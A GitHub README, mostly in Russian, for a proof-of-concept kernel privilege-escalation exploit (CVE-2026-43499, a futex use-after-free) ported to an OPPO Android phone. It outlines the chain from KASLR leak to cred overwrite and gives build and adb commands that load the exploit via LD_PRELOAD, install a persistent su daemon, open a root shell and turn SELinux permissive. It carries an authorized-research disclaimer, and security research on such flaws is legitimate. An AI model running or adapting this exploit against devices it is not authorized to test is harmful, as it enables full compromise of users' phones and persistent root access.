yijiacloud/ghostlock-oppo-pckm00
CVE-2026-43499 GhostLock: PoC LPE через UAF в futex для OPPO PCKM00 (SM6150) / Linux 4.14.180
CVE-2026-43499 (GhostLock) — PoC локального повышения привилегий через use-after-free в коде наследования приоритетов futex ядра Linux, портированный на OPPO PCKM00 (OP4A57, SM6150, Android 11, ядро 4.14.180-perf+).
DISCLAIMER / 免责声明 Этот проект предназначен только для авторизованных исследований в области безопасности и образовательных целей. Не используйте его на устройствах, которыми вы не владеете или на которых не имеете явного разрешения на тестирование. Запуск эксплойта может привести к падению ядра. Автор не несёт ответственности за любое неправомерное использование или ущерб.
本项目仅用于授权的安全研究与教育目的。请勿在非本人所有或未获明确授权的设备上使用。运行利用可能导致内核崩溃，作者不承担任何滥用或损失的责任。
CVE-2026-43499 (GhostLock) — это use-after-free в коде наследования приоритетов futex ядра Linux. Ошибка заключается в неправильном использовании remove_waiter() в пути отката proxy-lock функции rt_mutex_start_proxy_lock(). Освобождённый rt_mutex_waiter (выделенный на стеке ядра) повторно интерпретируется как контролируемый атакующим fd_set, скопированный через pselect(), что даёт примитив произвольной записи.
Затронутый диапазон: Linux 4.x–6.x (появилась в 2011). Серия 4.14 затронута полностью. Полный анализ и проверенные смещения символов см. в report.md.
futex requeue-pi UAF
└─> pselect fd_set stack copy (fake rt_mutex_waiter / fake task)
└─> arbitrary write (rt_mutex tree ops / sched_setattr)
└─> overwrite ashmem_fops -> configfs bin read/write
└─> pipe_buffer page rewrite (physical RW primitive)
└─> patch current task cred -> root
PoC полностью работает в пространстве пользователя через LD_PRELOAD — перезагрузка устройства не требуется (если только ядро не паникует).
| Поле | Значение |
|---|---|
| Устройство | OPPO PCKM00 / OP4A57 |
| SoC | Qualcomm SM6150 |
| Android | 11 (RKQ1.200903.002) |
| Патч безопасности | 2022-09-05 |
| Ядро | 4.14.180-perf+ (arm64, clang 10.0.7) |
| Сборка | OPPO/PCKM00/PCKM00:11/RKQ1.200903.002/1635513065:user/release-keys |
Портирование на другие устройства с 4.14: скопируйте
exploit/targets/oppo-pckm00/target.hи перегенерируйте смещения символов из вашего образа ядра (см.analysis/).
.
├── report.md # Full vulnerability analysis & verified offsets
├── exploit/
│ ├── Makefile # Build preload.so (Windows NDK / WSL)
│ ├── src/
│ │ ├── preload.c # LD_PRELOAD entry + forced disk logging + su
│ │ ├── main.c # Orchestration (waiter/owner/consumer threads)
│ │ ├── slide.c # KASLR leak (boot_id / nfulnl loggers)
│ │ ├── fops.c # ashmem_fops overwrite + configfs primitive
│ │ ├── pipe.c # pipe_buffer physrw primitive
│ │ ├── root.c # task walk + cred patch + seccomp/selinux
│ │ ├── util.c # kernelsnitch, skb page prep, kernel RW
│ │ ├── su_daemon.c # embedded su server (drop-in)
│ │ ├── su_blob.S # .incbin of su_daemon
│ │ └── wallpaper_blob.S # .incbin of wallpaper payload
│ ├── targets/oppo-pckm00/target.h # 4.14.180 symbol/struct offsets
│ └── assets/wallpaper.webp # embedded wallpaper payload
├── analysis/ # kernel image / kallsyms extraction scripts
└── LICENSE # Apache-2.0 (same as upstream GhostLock)
Требуется Android NDK r29 (aarch64-linux-android30-clang).
set NDK=C:\path\to\android-ndk-r29
make NDK=%NDK%
# put NDK at /opt/ndk/android-ndk-r29 (linux-x86_64 toolchain)
cd exploit
make wsl
# or directly:
bash ../analysis/build_preload.sh
Результат: exploit/preload.so (64-битный aarch64 ELF shared object).
Сборка также компилирует su_daemon.c в PIE-бинарник и встраивает его (вместе с обоями) в .so через .S-блобы.
# binary only (works from a release asset or a local build)
adb push preload.so /data/local/tmp/preload.so
# or with the repo layout
adb push exploit/preload.so /data/local/tmp/preload.so
adb shell chmod 755 /data/local/tmp/preload.so
.so загружается в процесс sh через LD_PRELOAD; его конструктор выполняет всю цепочку эксплойта и сообщает результат:
adb shell LD_PRELOAD=/data/local/tmp/preload.so id
При успехе оболочка сообщает:
uid=0(root) gid=0(root) ...
[+] ROOT OK pid=<pid> uid=0
Текущий процесс (и его дочерние процессы) теперь имеет права root. Демон su устанавливается в /apex/com.android.virt/bin/su (с откатом на /data/local/tmp/su), а встроенные обои применяются как артефакт персистентности/проверки.
# from a new shell after the run
adb shell su -c 'id'
# or grab a root shell session (interactive su client)
adb shell /data/local/tmp/su
# check SELinux was toggled permissive (if the selinux path was hit)
adb shell getenforce
Все диагностические сообщения pr_* также записываются в
/sdcard/Download/log_<timestamp>.txt (с откатом на
/data/local/tmp/log_<timestamp>.txt), с O_SYNC + fsync() на каждой
строке, чтобы логи пережили панику ядра / перезагрузку:
adb pull /sdcard/Download/log_*.txt
# or if /sdcard is not mounted early
adb pull /data/local/tmp/log_*.txt
adb shell cat /sdcard/Download/log_*.txt
Лог показывает каждый этап (KASLR slide, перезапись fops, pipe physrw, патч cred) и финальную строку uid_after / ROOT OK — приложите его при сообщении о проблеме.
adb shell rm -f /data/local/tmp/preload.so /data/local/tmp/log_*.txt
adb shell rm -f /data/local/tmp/su /data/local/tmp/temp_su.sock /data/local/tmp/su_daemon.log
adb reboot # if SELinux/cred state or the wallpaper was modified
Примечание: запуск эксплойта может привести к падению ядра. Если
adbотключается, дождитесь перезагрузки устройства, затем выгрузите/sdcard/Download/log_*.txt— принудительное логированиеO_SYNC/fsyncкак раз то, что переживает панику.
boot_id/nfulnl (slide.c) плюс проверочный проход по ashmem_fops (fops.c)..read/.write (без read_iter/write_iter),ashmem_fops не имеет show_fdinfo,generic_file_splice_read заменяет copy_splice_read,selinux_enforcing находится внутри struct selinux_state,rt_mutex_waiter / pipe_inode_info / cred для 4.14.task_struct.seccomp) заданы приблизительно; неудача при патче seccomp не блокирует получение root через перезапись cred.IonStack/CVE-2026-43499), Apache-2.0.
https://github.com/NebuSec/CyberMeowfiaApache-2.0 — см. LICENSE.